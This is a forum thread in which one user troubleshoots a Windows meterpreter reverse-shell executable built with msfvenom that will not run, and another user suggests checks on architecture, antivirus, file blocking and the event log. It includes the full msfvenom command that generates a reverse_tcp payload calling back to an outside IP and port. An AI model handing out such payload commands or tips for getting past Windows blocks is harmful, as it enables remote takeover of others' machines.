Sep 10, 2025 01:01 PM
(This post was last modified: Sep 10, 2025 01:59 PM by MadScientist.)
Topic;
I generate an EXE with reverse_tcp via Msfvenom but windows is giving me the error;
"This app cant run on your PC, To find a version for your PC, check with your software punblisher"
Anyone experience this or have a solution? I've tried various payloads and various architectures.
Is there more information about the error you are receiving ? Its typically related to wrong architecture. Also keep in mind that the Windows itself can block you from executing the payload, I am talking specifically about the Windows Defender.
Жизнь это не те дни, что прошли, а те, что запомнились
Sep 10, 2025 01:58 PM
(This post was last modified: Sep 10, 2025 02:00 PM by MadScientist.)
(Sep 10, 2025 01:45 PM)Dotexe Wrote: Is there more information about the error you are receiving ? Its typically related to wrong architecture. Also keep in mind that the Windows itself can block you from executing the payload, I am talking specifically about the Windows Defender.
I have defender, real time protection and AV disabled. No unfortunately the error just says it cant run and;
"To find a version for your PC, check with your software punblisher"
I've tried a bunch of payloads and every architecture, and running it in compatibility mode
Sep 10, 2025 02:03 PM
(This post was last modified: Sep 10, 2025 02:03 PM by Dotexe.)
(Sep 10, 2025 01:58 PM)MadScientist Wrote: I have defender, real time protection and AV disabled. No unfortunately the error just says it cant run and;
"To find a version for your PC, check with your software punblisher"
I've tried a bunch of payloads and every architecture, and running it in compatibility mode
Do you happen to have Malwarebytes installed ?
Жизнь это не те дни, что прошли, а те, что запомнились
(Sep 10, 2025 02:03 PM)Dotexe Wrote: Do you happen to have Malwarebytes installed ?
Yeah I just shut down the service and still no luck
Can you please try to attach a screenshot of the exact error you are observing ? I'd like to see if I can help you on that
Жизнь это не те дни, что прошли, а те, что запомнились
Sep 10, 2025 02:11 PM
(This post was last modified: Sep 10, 2025 02:14 PM by MadScientist.)
(Sep 10, 2025 02:05 PM)Dotexe Wrote: Can you please try to attach a screenshot of the exact error you are observing ? I'd like to see if I can help you on that
https://ibb.co/F4fPG4Cs
There's the error, definitely lacking a detailed explanation.
Tried compatibility mode, different architectures, payloads, updating metasploit and msfvenom, all kinds of things. Do you have metasploit and windows? Can you test a Msfvenom payload?
Check your system type About. If it says 32-bit Windows or ARM, a 64-bit build won’t run (older ARM only likes 32-bit x86). As a sanity check, run the same exe on a clean Windows VM. if it works there, the issue is that machine’s policies/edition rather than the binary
Жизнь это не те дни, что прошли, а те, что запомнились
Sep 10, 2025 02:24 PM
(This post was last modified: Sep 10, 2025 02:31 PM by MadScientist.)
(Sep 10, 2025 02:23 PM)Dotexe Wrote: Check your system type About. If it says 32-bit Windows or ARM, a 64-bit build won’t run (older ARM only likes 32-bit x86). As a sanity check, run the same exe on a clean Windows VM. if it works there, the issue is that machine’s policies/edition rather than the binary
Its 64 bit, I've tried both x64 and x32 payloads though just to see if there was any difference in errors or functionality.
Yeah I'm installing a fresh windows vm right now actually.
(Sep 10, 2025 02:23 PM)Dotexe Wrote: Check your system type About. If it says 32-bit Windows or ARM, a 64-bit build won’t run (older ARM only likes 32-bit x86). As a sanity check, run the same exe on a clean Windows VM. if it works there, the issue is that machine’s policies/edition rather than the binary
Nope still don't run on a fresh win 11 install.
Fairly certain thats some kind of a Windows policy in that case, when you go to the payload hit right click and go to the properties and make sure that the file is unblocked, it might be blocked by default and that prevents u from executing it
Жизнь это не те дни, что прошли, а те, что запомнились
Sep 10, 2025 02:32 PM
(This post was last modified: Sep 10, 2025 02:33 PM by MadScientist.)
(Sep 10, 2025 02:31 PM)Dotexe Wrote: Fairly certain thats some kind of a Windows policy in that case, when you go to the payload hit right click and go to the properties and make sure that the file is unblocked, it might be blocked by default and that prevents u from executing it
I've done that too and set it to run as administrator, tried so many things. Curious if someone else has luck creating a functional payload with msfvenom
I've never had any issues with msfvenom so far, perhaps I need to debug it a bit further to come to some kind of conclusion from what it might be
Жизнь это не те дни, что прошли, а те, что запомнились
(Sep 10, 2025 02:33 PM)Dotexe Wrote: I've never had any issues with msfvenom so far, perhaps I need to debug it a bit further to come to some kind of conclusion from what it might be
It used to run fine for me just recently started using it again and the linux payload is flawless but this issue is new
(Sep 10, 2025 02:35 PM)MadScientist Wrote: It used to run fine for me just recently started using it again and the linux payload is flawless but this issue is new
Windows is garbage for variety of reasons, it could be from absolutely X things preventing you from running it, have you checked the windows event log viewer ? it could reveal/help us in that
Жизнь это не те дни, что прошли, а те, что запомнились
Sep 10, 2025 02:57 PM
(This post was last modified: Sep 10, 2025 03:39 PM by MadScientist.)
(Sep 10, 2025 02:40 PM)Dotexe Wrote: Windows is garbage for variety of reasons, it could be from absolutely X things preventing you from running it, have you checked the windows event log viewer ? it could reveal/help us in that
Yeah just check the error is;
"The program or feature "\??\C:\metasploit-framework\bin\Shell.exe" cannot start or run due to incompatibity with 64-bit versions of Windows. Please contact the software vendor to ask if a 64-bit Windows compatible version is available."
Doesnt make sense though I set the architecture and the payload to 64 bit, here's my Msfvenom command;
./msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=xxx.24.xxx.65 LPORT=30234 -f exe > Shell.exe
(Sep 10, 2025 02:40 PM)Dotexe Wrote: Windows is garbage for variety of reasons, it could be from absolutely X things preventing you from running it, have you checked the windows event log viewer ? it could reveal/help us in that
Weird, I solved the problem by building the exe on linux using the exact same process and commands. Wonder what was causing the issue.
|